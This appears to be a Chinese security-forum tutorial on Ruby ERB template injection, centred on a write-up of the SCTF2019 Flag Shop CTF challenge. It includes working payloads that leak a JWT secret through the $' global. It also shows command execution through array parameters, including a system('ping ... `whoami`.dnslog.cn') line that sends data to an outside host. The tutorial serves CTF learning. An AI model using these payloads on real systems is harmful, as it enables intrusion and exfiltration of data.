Ruby ERB模板注入
了解Ruby ERB模板注入
ERB是Ruby自带的
- <% 写逻辑脚本(Ruby语法) %>
- <%= 直接输出变量值或运算结果 %>
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())
如果x是可控的,跟普通模板注入一样
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
读取一个文件:
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('pwd.txt').read
puts erb_object.result(binding())
枚举当前类的可用方法
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())
Ruby全局变量
Ruby全局变量 | 中文释义 |
---|---|
$! | 错误信息 |
$@ | 错误发生的位置 |
$0 | 正在执行的程序的名称 |
$& | 成功匹配的字符串 |
$/ | 输入分隔符,默认为换行符 |
$\ | 输出记录分隔符(print和IO) |
$. | 上次读取的文件的当前输入行号 |
$; $-F | 默认字段分隔符 |
$, | 输入字符串分隔符,连接多个字符串时用到 |
$= | 不区分大小写 |
$~ | 最后一次匹配数据 |
$` | 最后一次匹配前的内容 |
$' | 最后一次匹配后的内容 |
$+ | 最后一个括号匹配内容 |
$1~$9 | 各组匹配结果 |
$< ARGF | 命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin) |
$> | 打印的默认输出 |
$_ | 从输入设备中读取的最后一行 |
$* ARGV | 命令行参数 |
$$ | 运行此脚本的Ruby的进程号 |
$? | 最后执行的子进程的状态 |
$: $-I | 加载的二进制模块(库)的路径 |
$“ | 数组包含的需要加载的库的名字 |
$DEBUG $-d | 调试标志,由-d开关设置 |
$LOADED_FEATURES | $“的别名 |
$FILENAME | 来自$<的当前输入文件 |
$LOAD_PATH | $: |
$stderr | 当前标准误差输出 |
$stdin | 当前标准输入 |
$stdout | 当前标准输出 |
$VERBOSE $-v | 详细标志,由-w或-v开关设置 |
$-0 | $/ |
$-a | 只读 |
$-i | 在in-place-edit模式下,此变量保存扩展名 |
NIL | 0本身 |
ENV | 当前环境变量 |
RUBY_VERSION | Ruby版本 |
RUBY_RELEASE_DATE | 发布日期 |
RUBY_PLATFORM | 平台标识符 |
[SCTF2019]Flag Shop
/filebak查看源码
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
利用全局变量进行 ERB 模板注入
抓包测试:
点work:
JinKela会增多
shop:提示没有足够的JinKela
jwt解一下发现,猜测要改jkl为flag的价值,但是需要secret
这里需要用Ruby ERB模板注入去读取secret
源码重点部分
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
如果传入的参数do和name一致,则会输出params[:name][0,7]} working successfully!
,这里有erb模板,并且直接把可控参数name拼接进去了,但这里有限制,最多最多只能要七个字符,除去<%=%>
只剩两个字符可以操作
这里用<%1%>
测试
http://991b7899-2d9a-4b3b-9a4c-02dc84460e02.node4.buuoj.cn:81/work?name=%3C%25%3D1%25%3E&do=%3C%25%3D1%25%3E%20is%20working
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
{}类似于 ${} 代表解析里面的变量
如果params[:SECRET].nil为false,才能运行下一步,所以参数应该加上SECRET,如果SECRET 参数存在则对其进行匹配,用传入的这个值去和 ENV[“SECRET”] 匹配,匹配上了就输出flag。因为这里有匹配,就可以用ruby的全局变量 $` 。$'最后一次成功匹配右边的字符串
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
拿到secret,然后用jwt编码后替换auth
点击购买
利用HTTP参数传递类型差异
下面是另一种做法,利用HTTP参数传递类型差异的问题。url传参可以传入非字符串以外的其他数据类型,比如数组从而绕过一些程序逻辑
$a = "mon123"
$b = Array["aaa","bbb","ccc"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"
这里,$b原本是数组,但是因为被拼接到了字符串中,所以数组默认的类型变成了["aaa", "bbb", "ccc"]
,这样上面代码的限制,从原本的7个字符,变成了7个数组长度
payload:
/work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working
url编码一下
/work?name[]=%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=%5B%22%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E%22%2C%20%221%22%2C%20%222%22%2C%20%223%22%2C%20%224%22%2C%20%225%22%2C%20%226%22%5D%20is%20working
实现了任意命令执行
- 本文作者: mon0dy
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/977
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!